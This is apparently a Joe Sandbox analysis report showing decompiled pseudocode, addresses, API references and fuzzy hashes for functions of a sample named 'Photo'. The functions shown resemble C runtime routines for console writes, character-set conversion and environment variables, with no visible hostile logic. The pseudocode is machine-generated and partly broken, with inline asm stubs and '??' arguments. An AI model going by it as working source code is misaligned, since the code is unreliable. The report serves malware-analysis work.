				 *((intOrPtr*)(_t136 + 8)) = 0;
				while(_t133 < _v40) {
					_v28 = 0;
					_v31 =  *_t133;
					_t129 =  *((intOrPtr*)(0x20a118 + _v48 * 4));
					_t123 =  *(_t129 + _t115 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						if(( *(E001E7E0D(_t115, _t129) + ( *_t133 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t133);
							goto L8;
						} else {
							if(_t133 >= _v40) {
								_t131 = _v48;
								 *((char*)( *((intOrPtr*)(0x20a118 + _t131 * 4)) + _t115 + 0x2e)) =  *_t133;
								 *( *((intOrPtr*)(0x20a118 + _t131 * 4)) + _t115 + 0x2d) =  *( *((intOrPtr*)(0x20a118 + _t131 * 4)) + _t115 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t136 + 4)) =  *((intOrPtr*)(_t136 + 4)) + 1;
							} else {
								_t111 = E001E3E7D( &_v28, _t133, 2);
								_t139 = _t139 + 0xc;
								if(_t111 != 0xffffffff) {
									_t133 =  &(_t133[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t115 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t115 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t93 = E001E3E7D();
						_t139 = _t139 + 0xc;
						if(_t93 != 0xffffffff) {
							L9:
							_t133 =  &(_t133[1]);
							_t96 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t96;
							if(_t96 != 0) {
								if(WriteFile(_v44,  &_v24, _t96,  &_v36, 0) == 0) {
									L19:
									 *_t136 = GetLastError();
								} else {
									 *((intOrPtr*)(_t136 + 4)) =  *((intOrPtr*)(_t136 + 8)) - _v52 + _t133;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t104 = 0xd;
											_v32 = _t104;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t136 + 8)) =  *((intOrPtr*)(_t136 + 8)) + 1;
													 *((intOrPtr*)(_t136 + 4)) =  *((intOrPtr*)(_t136 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				E001D7760();
				return _t136;
			}

0x001e291f
0x001e2926
0x001e2929
0x001e2931
0x001e2935
0x001e2941
0x001e2944
0x001e2947
0x001e294e
0x001e2956
0x001e2959
0x001e295f
0x001e2965
0x001e296a
0x001e296c
0x001e296f
0x001e2974
0x001e297e
0x001e2985
0x001e2988
0x001e298f
0x001e2996
0x001e29c2
0x001e29e8
0x001e29ea
0x00000000
0x001e29c4
0x001e29c7
0x001e2a8e
0x001e2a9a
0x001e2aa5
0x001e2aaa
0x001e29cd
0x001e29d4
0x001e29d9
0x001e29df
0x001e29e5
0x00000000
0x001e29e5
0x001e29df
0x001e29c7
0x001e2998
0x001e299c
0x001e299f
0x001e29a5
0x001e29a7
0x001e29aa
0x001e29ae
0x001e29eb
0x001e29ee
0x001e29ef
0x001e29f4
0x001e29fa
0x001e2a00
0x001e2a0f
0x001e2a15
0x001e2a1b
0x001e2a20
0x001e2a3c
0x001e2aaf
0x001e2ab5
0x001e2a3e
0x001e2a46
0x001e2a4f
0x001e2a55
0x00000000
0x001e2a57
0x001e2a59
0x001e2a5c
0x001e2a75
0x00000000
0x001e2a77
0x001e2a7b
0x001e2a7d
0x001e2a80
0x00000000
0x001e2a80
0x001e2a7b
0x001e2a75
0x001e2a55
0x001e2a4f
0x001e2a3c
0x001e2a20
0x001e29fa
0x00000000
0x001e2a83
0x001e2a83
0x001e2ab7
0x001e2ac1
0x001e2ac9

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,001E308C,?,00000000,?,00000000,00000000), ref: 001E2959
__fassign.LIBCMT ref: 001E29D4
__fassign.LIBCMT ref: 001E29EF
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 001E2A15
WriteFile.KERNEL32(?,?,00000000,001E308C,00000000,?,?,?,?,?,?,?,?,?,001E308C,?), ref: 001E2A34
WriteFile.KERNEL32(?,?,00000001,001E308C,00000000,?,?,?,?,?,?,?,?,?,001E308C,?), ref: 001E2A6D

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: b3e68f137aaddb6779ad67d9882694957a651882ed1d718d7ca73a2f8cd38d2a
Instruction ID: ffb392baa5ed6ef44130051ae6066d5db2297f6cb8ad53920274b8f153b9d1de
Opcode Fuzzy Hash: b3e68f137aaddb6779ad67d9882694957a651882ed1d718d7ca73a2f8cd38d2a
Instruction Fuzzy Hash: 9B51F671A00689AFCB10CFA9DC95AFEBBF8FF59300F14452AE956E7251D7709940CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001E902B Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E001E902B(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				signed int _t49;
				signed int _t54;
				int _t56;
				signed int _t58;
				short* _t60;
				signed int _t64;
				short* _t68;
				int _t76;
				short* _t79;
				signed int _t85;
				signed int _t88;
				void* _t93;
				void* _t94;
				int _t96;
				short* _t99;
				int _t101;
				int _t103;
				signed int _t104;
				short* _t105;
				void* _t108;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x1fc008; // 0x369f4a24
				_v8 = _t49 ^ _t104;
				_t101 = _a20;
				if(_t101 > 0) {
					_t76 = E001ECB73(_a16, _t101);
					_t108 = _t76 - _t101;
					_t4 = _t76 + 1; // 0x1
					_t101 = _t4;
					if(_t108 >= 0) {
						_t101 = _t76;
					}
				}
				_t96 = _a32;
				if(_t96 == 0) {
					_t96 =  *( *_a4 + 8);
					_a32 = _t96;
				}
				_t54 = MultiByteToWideChar(_t96, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t101, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					E001D7760();
					return _t54;
				} else {
					_t93 = _t54 + _t54;
					_t83 = _t93 + 8;
					asm("sbb eax, eax");
					if((_t93 + 0x00000008 & _t54) == 0) {
						_t79 = 0;
						__eflags = 0;
						L14:
						if(_t79 == 0) {
							L36:
							_t103 = 0;
							L37:
							E001E8238(_t79);
							_t54 = _t103;
							goto L38;
						}
						_t56 = MultiByteToWideChar(_t96, 1, _a16, _t101, _t79, _v12);
						_t119 = _t56;
						if(_t56 == 0) {
							goto L36;
						}
						_t98 = _v12;
						_t58 = E001E3887(_t83, _t119, _a8, _a12, _t79, _v12, 0, 0, 0, 0, 0);
						_t103 = _t58;
						if(_t103 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t94 = _t103 + _t103;
							_t85 = _t94 + 8;
							__eflags = _t94 - _t85;
							asm("sbb eax, eax");
							__eflags = _t85 & _t58;
							if((_t85 & _t58) == 0) {
								_t99 = 0;
								__eflags = 0;
								L30:
								__eflags = _t99;
								if(__eflags == 0) {
									L35:
									E001E8238(_t99);
									goto L36;
								}
								_t60 = E001E3887(_t85, __eflags, _a8, _a12, _t79, _v12, _t99, _t103, 0, 0, 0);
								__eflags = _t60;
								if(_t60 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t103 = WideCharToMultiByte(_a32, 0, _t99, _t103, ??, ??, ??, ??);
								__eflags = _t103;
								if(_t103 != 0) {
									E001E8238(_t99);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t88 = _t94 + 8;
							__eflags = _t94 - _t88;
							asm("sbb eax, eax");
							_t64 = _t58 & _t88;
							_t85 = _t94 + 8;
							__eflags = _t64 - 0x400;
							if(_t64 > 0x400) {
								__eflags = _t94 - _t85;
								asm("sbb eax, eax");
								_t99 = E001E0964(_t85, _t64 & _t85);
								_pop(_t85);
								__eflags = _t99;
								if(_t99 == 0) {
									goto L35;
								}
								 *_t99 = 0xdddd;
								L28:
								_t99 =  &(_t99[4]);
								goto L30;
							}
							__eflags = _t94 - _t85;
							asm("sbb eax, eax");
							E001EF360();
							_t99 = _t105;
							__eflags = _t99;
							if(_t99 == 0) {
								goto L35;
							}
							 *_t99 = 0xcccc;
							goto L28;
						}
						_t68 = _a28;
						if(_t68 == 0) {
							goto L37;
						}
						_t123 = _t103 - _t68;
						if(_t103 > _t68) {
							goto L36;
						}
						_t103 = E001E3887(0, _t123, _a8, _a12, _t79, _t98, _a24, _t68, 0, 0, 0);
						if(_t103 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t70 = _t54 & _t93 + 0x00000008;
					_t83 = _t93 + 8;
					if((_t54 & _t93 + 0x00000008) > 0x400) {
						__eflags = _t93 - _t83;
						asm("sbb eax, eax");
						_t79 = E001E0964(_t83, _t70 & _t83);
						_pop(_t83);
						__eflags = _t79;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t79 = 0xdddd;
						L12:
						_t79 =  &(_t79[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E001EF360();
					_t79 = _t105;
					if(_t79 == 0) {
						goto L36;
					}
					 *_t79 = 0xcccc;
					goto L12;
				}
			}

0x001e9030
0x001e9031
0x001e9032
0x001e9039
0x001e903e
0x001e9044
0x001e904a
0x001e9050
0x001e9053
0x001e9053
0x001e9056
0x001e9058
0x001e9058
0x001e9056
0x001e905a
0x001e905f
0x001e9066
0x001e9069
0x001e9069
0x001e9085
0x001e908b
0x001e9090
0x001e9223
0x001e922e
0x001e9236
0x001e9096
0x001e9096
0x001e9099
0x001e909e
0x001e90a2
0x001e90f6
0x001e90f6
0x001e90f8
0x001e90fa
0x001e9218
0x001e9218
0x001e921a
0x001e921b
0x001e9221
0x00000000
0x001e9221
0x001e910b
0x001e9111
0x001e9113
0x00000000
0x00000000
0x001e9119
0x001e912b
0x001e9130
0x001e9134
0x00000000
0x00000000
0x001e9141
0x001e917b
0x001e917e
0x001e9181
0x001e9183
0x001e9185
0x001e9187
0x001e91d3
0x001e91d3
0x001e91d5
0x001e91d5
0x001e91d7
0x001e9211
0x001e9212
0x00000000
0x001e9217
0x001e91eb
0x001e91f0
0x001e91f2
0x00000000
0x00000000
0x001e91f6
0x001e91f7
0x001e91f8
0x001e91fb
0x001e9237
0x001e923a
0x001e91fd
0x001e91fd
0x001e91fe
0x001e91fe
0x001e920b
0x001e920d
0x001e920f
0x001e9240
0x00000000
0x00000000
0x00000000
0x00000000
0x001e920f
0x001e9189
0x001e918c
0x001e918e
0x001e9190
0x001e9192
0x001e9195
0x001e919a
0x001e91b5
0x001e91b7
0x001e91c1
0x001e91c3
0x001e91c4
0x001e91c6
0x00000000
0x00000000
0x001e91c8
0x001e91ce
0x001e91ce
0x00000000
0x001e91ce
0x001e919c
0x001e919e
0x001e91a2
0x001e91a7
0x001e91a9
0x001e91ab
0x00000000
0x00000000
0x001e91ad
0x00000000
0x001e91ad
0x001e9143
0x001e9148
0x00000000
0x00000000
0x001e914e
0x001e9150
0x00000000
0x00000000
0x001e916c
0x001e9170
0x00000000
0x00000000
0x00000000
0x001e9176
0x001e90a9
0x001e90ab
0x001e90ad
0x001e90b5
0x001e90d4
0x001e90d6
0x001e90e0
0x001e90e2
0x001e90e3
0x001e90e5
0x00000000
0x00000000
0x001e90eb
0x001e90f1
0x001e90f1
0x00000000
0x001e90f1
0x001e90b9
0x001e90bd
0x001e90c2
0x001e90c6
0x00000000
0x00000000
0x001e90cc
0x00000000
0x001e90cc

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,001DC160,001DC160,?,?,?,001E927C,00000001,00000001,92E85006), ref: 001E9085
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,001E927C,00000001,00000001,92E85006,?,?,?), ref: 001E910B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,92E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 001E9205
__freea.LIBCMT ref: 001E9212

Part of subcall function 001E0964: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,001E81BF,00000000,?,001E0B60,?,00000008,?,001E3D50,?,?,?), ref: 001E0996

__freea.LIBCMT ref: 001E921B
__freea.LIBCMT ref: 001E9240

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 88f4ebf5a7aae3f147ce494f73197403cfd6409872e7ad61d92ad899810c43e5
Instruction ID: 7f8fb63fd79085379d0c273c1cde142e58a86664ae7ca4a177043b748ea321df
Opcode Fuzzy Hash: 88f4ebf5a7aae3f147ce494f73197403cfd6409872e7ad61d92ad899810c43e5
Instruction Fuzzy Hash: 9751D2B2600A97ABDF258F66CC85EBF77A9EB54750F154628FD04E7140EB34DC90C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 001E62CA Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 419
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E001E62CA(void* __edx, signed int _a4, signed int _a8) {
				signed int _v0;
				signed char _v5;
				intOrPtr _v8;
				signed char _v9;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v44;
				signed int _v92;
				signed int _v128;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t116;
				signed int _t119;
				signed int _t120;
				signed int _t122;
				signed int _t123;
				signed int _t126;
				signed int _t127;
				signed int _t131;
				signed int _t133;
				signed int _t136;
				signed int _t138;
				signed int _t139;
				signed int _t142;
				void* _t143;
				signed int _t148;
				signed int* _t150;
				signed int* _t156;
				signed int _t163;
				signed int _t165;
				signed int _t167;
				intOrPtr _t168;
				signed int _t173;
				signed int _t175;
				signed int _t176;
				signed int _t180;
				signed int _t185;
				intOrPtr* _t186;
				signed int _t191;
				signed int _t196;
				signed int _t197;
				signed int _t204;
				intOrPtr* _t205;
				signed int _t214;
				signed int _t215;
				signed int _t217;
				signed int _t218;
				signed int _t220;
				signed int _t221;
				signed int _t223;
				intOrPtr _t225;
				void* _t231;
				signed int _t233;
				void* _t236;
				signed int _t237;
				signed int _t238;
				void* _t241;
				signed int _t244;
				signed int _t246;
				void* _t252;
				signed int _t253;
				signed int _t254;
				void* _t260;
				void* _t262;
				signed int _t263;
				intOrPtr* _t267;
				intOrPtr* _t271;
				signed int _t274;
				signed int _t276;
				signed int _t280;
				signed int _t282;
				void* _t283;
				void* _t284;
				void* _t285;
				void* _t286;
				signed int _t287;
				signed int _t289;
				signed int _t291;
				signed int _t292;
				signed int* _t293;
				signed int _t299;
				signed int _t300;
				CHAR* _t301;
				signed int _t303;
				signed int _t304;
				WCHAR* _t305;
				signed int _t306;
				signed int _t307;
				signed int* _t308;
				signed int _t309;
				signed int _t311;
				void* _t317;
				void* _t318;
				void* _t319;
				void* _t321;
				void* _t322;
				void* _t323;
				void* _t324;

				_t283 = __edx;
				_t217 = _a4;
				if(_t217 != 0) {
					_t287 = _t217;
					_t116 = E001D85E0(_t217, 0x3d);
					_v16 = _t116;
					_t231 = _t286;
					__eflags = _t116;
					if(_t116 == 0) {
						L10:
						 *((intOrPtr*)(E001DCB3C())) = 0x16;
						goto L11;
					} else {
						__eflags = _t116 - _t217;
						if(_t116 == _t217) {
							goto L10;
						} else {
							__eflags =  *((char*)(_t116 + 1));
							_t299 =  *0x20a0cc; // 0x78e478
							_t120 = _t116 & 0xffffff00 |  *((char*)(_t116 + 1)) == 0x00000000;
							_v5 = _t120;
							__eflags = _t299 -  *0x20a0d8; // 0x78efb8
							if(__eflags == 0) {
								L87();
								_t299 = _t120;
								_t120 = _v5;
								_t231 = _t299;
								 *0x20a0cc = _t299;
							}
							_t218 = 0;
							__eflags = _t299;
							if(_t299 != 0) {
								L21:
								_t233 = _t287;
								_t122 = _v16 - _t233;
								_push(_t122);
								_push(_t233);
								L121();
								_v12 = _t122;
								__eflags = _t122;
								if(_t122 < 0) {
									L29:
									__eflags = _v5 - _t218;
									if(_v5 != _t218) {
										goto L12;
									} else {
										_t123 =  ~_t122;
										_v12 = _t123;
										_t27 = _t123 + 2; // 0x2
										_t236 = _t27;
										__eflags = _t236 - _t123;
										if(_t236 < _t123) {
											goto L11;
										} else {
											__eflags = _t236 - 0x3fffffff;
											if(_t236 >= 0x3fffffff) {
												goto L11;
											} else {
												_push(4);
												_push(_t236);
												_t300 = E001E85E9(_t299);
												E001E092A(_t218);
												_t321 = _t321 + 0x10;
												__eflags = _t300;
												if(_t300 == 0) {
													goto L11;
												} else {
													_t237 = _v12;
													_t287 = _t218;
													_t126 = _a4;
													 *(_t300 + _t237 * 4) = _t126;
													 *(_t300 + 4 + _t237 * 4) = _t218;
													goto L34;
												}
											}
										}
									}
								} else {
									__eflags =  *_t299 - _t218;
									if( *_t299 == _t218) {
										goto L29;
									} else {
										E001E092A( *((intOrPtr*)(_t299 + _t122 * 4)));
										_t282 = _v12;
										__eflags = _v5 - _t218;
										if(_v5 != _t218) {
											while(1) {
												__eflags =  *(_t299 + _t282 * 4) - _t218;
												if( *(_t299 + _t282 * 4) == _t218) {
													break;
												}
												 *(_t299 + _t282 * 4) =  *(_t299 + 4 + _t282 * 4);
												_t282 = _t282 + 1;
												__eflags = _t282;
											}
											_push(4);
											_push(_t282);
											_t300 = E001E85E9(_t299);
											E001E092A(_t218);
											_t321 = _t321 + 0x10;
											_t126 = _t287;
											__eflags = _t300;
											if(_t300 != 0) {
												L34:
												 *0x20a0cc = _t300;
											}
										} else {
											_t126 = _a4;
											_t287 = _t218;
											 *(_t299 + _t282 * 4) = _t126;
										}
										__eflags = _a8 - _t218;
										if(_a8 == _t218) {
											goto L12;
										} else {
											_t238 = _t126;
											_t284 = _t238 + 1;
											do {
												_t127 =  *_t238;
												_t238 = _t238 + 1;
												__eflags = _t127;
											} while (_t127 != 0);
											_v12 = _t238 - _t284 + 2;
											_t301 = E001E0A4F(_t238 - _t284, _t238 - _t284 + 2, 1);
											_pop(_t241);
											__eflags = _t301;
											if(_t301 == 0) {
												L42:
												E001E092A(_t301);
												goto L12;
											} else {
												_t131 = E001E09B2(_t301, _v12, _a4);
												_t322 = _t321 + 0xc;
												__eflags = _t131;
												if(_t131 != 0) {
													_push(_t218);
													_push(_t218);
													_push(_t218);
													_push(_t218);
													_push(_t218);
													E001E16A1();
													asm("int3");
													_t317 = _t322;
													_t323 = _t322 - 0xc;
													_push(_t218);
													_t220 = _v44;
													__eflags = _t220;
													if(_t220 != 0) {
														_push(_t301);
														_push(_t287);
														_push(0x3d);
														_t289 = _t220;
														_t133 = E001EF506(_t241);
														_v20 = _t133;
														_t244 = _t220;
														__eflags = _t133;
														if(_t133 == 0) {
															L54:
															 *((intOrPtr*)(E001DCB3C())) = 0x16;
															goto L55;
														} else {
															__eflags = _t133 - _t220;
															if(_t133 == _t220) {
																goto L54;
															} else {
																_t303 =  *0x20a0d0; // 0x78fc08
																_t221 = 0;
																__eflags =  *(_t133 + 2);
																_t246 = _t244 & 0xffffff00 |  *(_t133 + 2) == 0x00000000;
																_v9 = _t246;
																__eflags = _t303 -  *0x20a0d4; // 0x78ea10
																if(__eflags == 0) {
																	_push(_t303);
																	L104();
																	_t246 = _v9;
																	_t303 = _t133;
																	 *0x20a0d0 = _t303;
																}
																__eflags = _t303;
																if(_t303 != 0) {
																	L64:
																	_v20 = _v20 - _t289 >> 1;
																	_t138 = E001E6905(_t289, _v20 - _t289 >> 1);
																	_v16 = _t138;
																	__eflags = _t138;
																	if(_t138 < 0) {
																		L72:
																		__eflags = _v9 - _t221;
																		if(_v9 != _t221) {
																			goto L56;
																		} else {
																			_t139 =  ~_t138;
																			_v16 = _t139;
																			_t72 = _t139 + 2; // 0x2
																			_t252 = _t72;
																			__eflags = _t252 - _t139;
																			if(_t252 < _t139) {
																				goto L55;
																			} else {
																				__eflags = _t252 - 0x3fffffff;
																				if(_t252 >= 0x3fffffff) {
																					goto L55;
																				} else {
																					_push(4);
																					_push(_t252);
																					_t304 = E001E85E9(_t303);
																					E001E092A(_t221);
																					_t323 = _t323 + 0x10;
																					__eflags = _t304;
																					if(_t304 == 0) {
																						goto L55;
																					} else {
																						_t253 = _v16;
																						_t289 = _t221;
																						_t142 = _v0;
																						 *(_t304 + _t253 * 4) = _t142;
																						 *(_t304 + 4 + _t253 * 4) = _t221;
																						goto L77;
																					}
																				}
																			}
																		}
																	} else {
																		__eflags =  *_t303 - _t221;
																		if( *_t303 == _t221) {
																			goto L72;
																		} else {
																			E001E092A( *((intOrPtr*)(_t303 + _t138 * 4)));
																			_t276 = _v16;
																			__eflags = _v9 - _t221;
																			if(_v9 != _t221) {
																				while(1) {
																					__eflags =  *(_t303 + _t276 * 4) - _t221;
																					if( *(_t303 + _t276 * 4) == _t221) {
																						break;
																					}
																					 *(_t303 + _t276 * 4) =  *(_t303 + 4 + _t276 * 4);
																					_t276 = _t276 + 1;
																					__eflags = _t276;
																				}
																				_push(4);
																				_push(_t276);
																				_t304 = E001E85E9(_t303);
																				E001E092A(_t221);
																				_t323 = _t323 + 0x10;
																				_t142 = _t289;
																				__eflags = _t304;
																				if(_t304 != 0) {
																					L77:
																					 *0x20a0d0 = _t304;
																				}
																			} else {
																				_t142 = _v0;
																				_t289 = _t221;
																				 *(_t303 + _t276 * 4) = _t142;
																			}
																			__eflags = _a4 - _t221;
																			if(_a4 == _t221) {
																				goto L56;
																			} else {
																				_t254 = _t142;
																				_t81 = _t254 + 2; // 0x2
																				_t285 = _t81;
																				do {
																					_t143 =  *_t254;
																					_t254 = _t254 + 2;
																					__eflags = _t143 - _t221;
																				} while (_t143 != _t221);
																				_t82 = (_t254 - _t285 >> 1) + 2; // 0x0
																				_v16 = _t82;
																				_t305 = E001E0A4F(_t254 - _t285 >> 1, _t82, 2);
																				_pop(_t258);
																				__eflags = _t305;
																				if(_t305 == 0) {
																					L85:
																					E001E092A(_t305);
																					goto L56;
																				} else {
																					_t148 = E001E6266(_t305, _v16, _v0);
																					_t324 = _t323 + 0xc;
																					__eflags = _t148;
																					if(_t148 != 0) {
																						_push(_t221);
																						_push(_t221);
																						_push(_t221);
																						_push(_t221);
																						_push(_t221);
																						E001E16A1();
																						asm("int3");
																						_push(_t317);
																						_t318 = _t324;
																						_push(_t289);
																						_t291 = _v92;
																						__eflags = _t291;
																						if(_t291 != 0) {
																							_t260 = 0;
																							_t150 = _t291;
																							__eflags =  *_t291;
																							if( *_t291 != 0) {
																								do {
																									_t150 =  &(_t150[1]);
																									_t260 = _t260 + 1;
																									__eflags =  *_t150;
																								} while ( *_t150 != 0);
																							}
																							_t93 = _t260 + 1; // 0x2
																							_t306 = E001E0A4F(_t260, _t93, 4);
																							_t262 = _t305;
																							__eflags = _t306;
																							if(_t306 == 0) {
																								L102:
																								E001E0A0C(_t221, _t285, _t291, _t306);
																								goto L103;
																							} else {
																								__eflags =  *_t291;
																								if( *_t291 == 0) {
																									L100:
																									E001E092A(0);
																									_t175 = _t306;
																									goto L101;
																								} else {
																									_push(_t221);
																									_t221 = _t306 - _t291;
																									__eflags = _t221;
																									do {
																										_t271 =  *_t291;
																										_t94 = _t271 + 1; // 0x5
																										_t285 = _t94;
																										do {
																											_t176 =  *_t271;
																											_t271 = _t271 + 1;
																											__eflags = _t176;
																										} while (_t176 != 0);
																										_t262 = _t271 - _t285;
																										_t95 = _t262 + 1; // 0x6
																										_v16 = _t95;
																										 *(_t221 + _t291) = E001E0A4F(_t262, _t95, 1);
																										E001E092A(0);
																										_t324 = _t324 + 0xc;
																										__eflags =  *(_t221 + _t291);
																										if( *(_t221 + _t291) == 0) {
																											goto L102;
																										} else {
																											_t180 = E001E09B2( *(_t221 + _t291), _v16,  *_t291);
																											_t324 = _t324 + 0xc;
																											__eflags = _t180;
																											if(_t180 != 0) {
																												L103:
																												_push(0);
																												_push(0);
																												_push(0);
																												_push(0);
																												_push(0);
																												E001E16A1();
																												asm("int3");
																												_push(_t318);
																												_t319 = _t324;
																												_push(_t262);
																												_push(_t262);
																												_push(_t291);
																												_t292 = _v128;
																												__eflags = _t292;
																												if(_t292 != 0) {
																													_push(_t221);
																													_t223 = 0;
																													_t156 = _t292;
																													_t263 = 0;
																													_v20 = 0;
																													_push(_t306);
																													__eflags =  *_t292;
																													if( *_t292 != 0) {
																														do {
																															_t156 =  &(_t156[1]);
																															_t263 = _t263 + 1;
																															__eflags =  *_t156;
																														} while ( *_t156 != 0);
																													}
																													_t104 = _t263 + 1; // 0x2
																													_t307 = E001E0A4F(_t263, _t104, 4);
																													__eflags = _t307;
																													if(_t307 == 0) {
																														L119:
																														E001E0A0C(_t223, _t285, _t292, _t307);
																														goto L120;
																													} else {
																														__eflags =  *_t292 - _t223;
																														if( *_t292 == _t223) {
																															L117:
																															E001E092A(_t223);
																															_t167 = _t307;
																															goto L118;
																														} else {
																															_t223 = _t307 - _t292;
																															__eflags = _t223;
																															do {
																																_t267 =  *_t292;
																																_t105 = _t267 + 2; // 0x6
																																_t285 = _t105;
																																do {
																																	_t168 =  *_t267;
																																	_t267 = _t267 + 2;
																																	__eflags = _t168 - _v20;
																																} while (_t168 != _v20);
																																_t107 = (_t267 - _t285 >> 1) + 1; // 0x3
																																_v24 = _t107;
																																 *(_t223 + _t292) = E001E0A4F(_t267 - _t285 >> 1, _t107, 2);
																																E001E092A(0);
																																_t324 = _t324 + 0xc;
																																__eflags =  *(_t223 + _t292);
																																if( *(_t223 + _t292) == 0) {
																																	goto L119;
																																} else {
																																	_t173 = E001E6266( *(_t223 + _t292), _v24,  *_t292);
																																	_t324 = _t324 + 0xc;
																																	__eflags = _t173;
																																	if(_t173 != 0) {
																																		L120:
																																		_push(0);
																																		_push(0);
																																		_push(0);
																																		_push(0);
																																		_push(0);
																																		E001E16A1();
																																		asm("int3");
																																		_push(_t319);
																																		_push(_t223);
																																		_push(_t307);
																																		_push(_t292);
																																		_t293 =  *0x20a0cc; // 0x78e478
																																		_t308 = _t293;
																																		__eflags =  *_t293;
																																		if( *_t293 == 0) {
																																			L127:
																																			_t309 = _t308 - _t293;
																																			__eflags = _t309;
																																			_t311 =  ~(_t309 >> 2);
																																		} else {
																																			_t225 = _v8;
																																			do {
																																				_t163 = E001EC375(_v12,  *_t308, _t225);
																																				_t324 = _t324 + 0xc;
																																				__eflags = _t163;
																																				if(_t163 != 0) {
																																					goto L126;
																																				} else {
																																					_t165 =  *((intOrPtr*)(_t225 +  *_t308));
																																					__eflags = _t165 - 0x3d;
																																					if(_t165 == 0x3d) {
																																						L129:
																																						_t311 = _t308 - _t293 >> 2;
																																					} else {
																																						__eflags = _t165;
																																						if(_t165 == 0) {
																																							goto L129;
																																						} else {
																																							goto L126;
																																						}
																																					}
																																				}
																																				goto L128;
																																				L126:
																																				_t308 =  &(_t308[1]);
																																				__eflags =  *_t308;
																																			} while ( *_t308 != 0);
																																			goto L127;
																																		}
																																		L128:
																																		return _t311;
																																	} else {
																																		goto L115;
																																	}
																																}
																																goto L130;
																																L115:
																																_t292 = _t292 + 4;
																																__eflags =  *_t292 - _t173;
																															} while ( *_t292 != _t173);
																															_t223 = 0;
																															__eflags = 0;
																															goto L117;
																														}
																													}
																												} else {
																													_t167 = 0;
																													L118:
																													return _t167;
																												}
																											} else {
																												goto L98;
																											}
																										}
																										goto L130;
																										L98:
																										_t291 = _t291 + 4;
																										__eflags =  *_t291 - _t180;
																									} while ( *_t291 != _t180);
																									goto L100;
																								}
																							}
																						} else {
																							_t175 = 0;
																							L101:
																							return _t175;
																						}
																					} else {
																						_t274 =  &(_t305[_v20 + 1]);
																						 *(_t274 - 2) = _t148;
																						asm("sbb eax, eax");
																						_t185 = SetEnvironmentVariableW(_t305,  !( ~(_v9 & 0x000000ff)) & _t274);
																						__eflags = _t185;
																						if(_t185 == 0) {
																							_t186 = E001DCB3C();
